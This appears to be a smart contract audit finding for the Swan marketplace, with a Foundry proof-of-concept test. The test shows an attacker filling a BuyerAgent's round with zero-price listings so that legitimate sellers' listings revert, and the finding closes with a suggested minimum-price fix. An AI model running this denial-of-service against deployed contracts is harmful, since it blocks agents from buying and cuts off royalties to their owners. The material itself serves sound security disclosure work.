The BuyerAgent's assets to buy for current round can be DOSed and the agent won't be able to progress.
It could potentially lead to DOSing any BuyerAgent in any round, where they won't have an item to buy in Buy
phase. Also, the BuyerAgent won't receive any royalties since the price
of the items listed is zero.
The attacker lists the max number of assets possible to list for the BuyerAgent, resulting in any legitimate seller's listing to revert.
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanMarketParameters} from "../contracts/swan/SwanManager.sol";
import {LLMOracleTaskParameters} from "../contracts/llm/LLMOracleTask.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../contracts/llm/LLMOracleRegistry.sol";
import {BuyerAgentFactory, BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {SwanAssetFactory, SwanAsset} from "../contracts/swan/SwanAsset.sol";
contract MockERC20 is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
}
contract POC is Test {
IERC20 dria;
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
address buyerAgentFactory;
address swanAssetFactory;
Swan swan;
uint256 maxAssetCount = 5;
function setUp() public {
buyerAgentFactory = address(new BuyerAgentFactory());
swanAssetFactory = address(new SwanAssetFactory());
dria = IERC20(new MockERC20("dria", "dria"));
address impl = address(new LLMOracleRegistry());
uint256 generatorStakeAmount = 0.01 ether;
uint256 validatorStakeAmount = 0.01 ether;
bytes memory data =
abi.encodeCall(LLMOracleRegistry.initialize, (generatorStakeAmount, validatorStakeAmount, address(dria)));
address proxy = address(new ERC1967Proxy(impl, data));
registry = LLMOracleRegistry(proxy);
impl = address(new LLMOracleCoordinator());
uint256 platformFee = 1;
uint256 generationFee = 0.02 ether;
uint256 validationFee = 0.03 ether;
data = abi.encodeCall(
LLMOracleCoordinator.initialize,
(address(registry), address(dria), platformFee, generationFee, validationFee)
);
proxy = address(new ERC1967Proxy(impl, data));
coordinator = LLMOracleCoordinator(proxy);
impl = address(new Swan());
LLMOracleTaskParameters memory llmParams =
LLMOracleTaskParameters({difficulty: 1, numGenerations: 1, numValidations: 1});
SwanMarketParameters memory swanParams = SwanMarketParameters({
withdrawInterval: 30 minutes,
sellInterval: 60 minutes,
buyInterval: 20 minutes,
platformFee: 1,
maxAssetCount: maxAssetCount,
timestamp: 0
});
data = abi.encodeCall(
Swan.initialize,
(swanParams, llmParams, address(coordinator), address(dria), buyerAgentFactory, swanAssetFactory)
);
proxy = address(new ERC1967Proxy(impl, data));
swan = Swan(proxy);
}
function test_PoC() public {
address buyer = makeAddr("buyer");
address seller = makeAddr("seller");
uint96 feeRoyalty = 1;
uint256 amountPerRound = 0.1 ether;
vm.prank(buyer);
BuyerAgent agent = swan.createBuyer("agent/1.0", "Testing agent", feeRoyalty, amountPerRound);
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
for (uint256 i = 0; i < maxAssetCount; i++) {
swan.list("AttackerItem", "ATTACKERITEM", "Test Description", 0, address(agent));
}
vm.stopPrank();
vm.startPrank(seller);
uint256 listPrice = 0.1 ether;
deal(address(dria), seller, listPrice);
dria.approve(address(swan), listPrice);
vm.expectRevert();
swan.list("Item0", "ITEM0", "Test Description", listPrice, address(agent));
vm.stopPrank();
}
}
Introduce a minimum price in order to avoid such attacks, otherwise, make the seller to pay a fixed royalty to the buyerAgent instead of a percentage of the price.